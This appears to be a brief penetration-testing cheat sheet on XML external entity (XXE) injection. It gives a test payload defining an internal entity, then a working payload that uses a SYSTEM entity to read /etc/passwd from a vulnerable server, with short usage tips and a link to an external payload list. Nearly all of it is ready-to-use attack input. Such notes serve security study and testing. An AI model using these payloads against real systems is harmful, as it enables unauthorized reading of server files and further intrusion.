# XXE Injection

Basic Test for XXE

&#x20;

\<!--?xml version="1.0" ?-->

\<!DOCTYPE replace \[\<!ENTITY example "XXE Injection"> ]>

&#x20;

\<details>

&#x20;   \<subnet\_mask>\&example;\</subnet\_mask>

&#x20;   \<test>\</test>

\</details>

&#x20;&#x20;

* The name "example is just the name of the variable
* * It could be anything you want
* Use "SYSTEM" to read files on the server
* * enclose the directories in quotes

&#x20;&#x20;

\<!--?xml version="1.0" ?-->

\<!DOCTYPE replace \[\<!ENTITY example SYSTEM "/etc/passwd"> ]>

&#x20;

\<details>

&#x20;   \<subnet\_mask>\&example;\</subnet\_mask>

&#x20;   \<test>\</test>

\</details>

{% embed url="<https://infosecwriteups.com/xml-external-entity-xxe-injection-payload-list-937d33e5e116>" %}
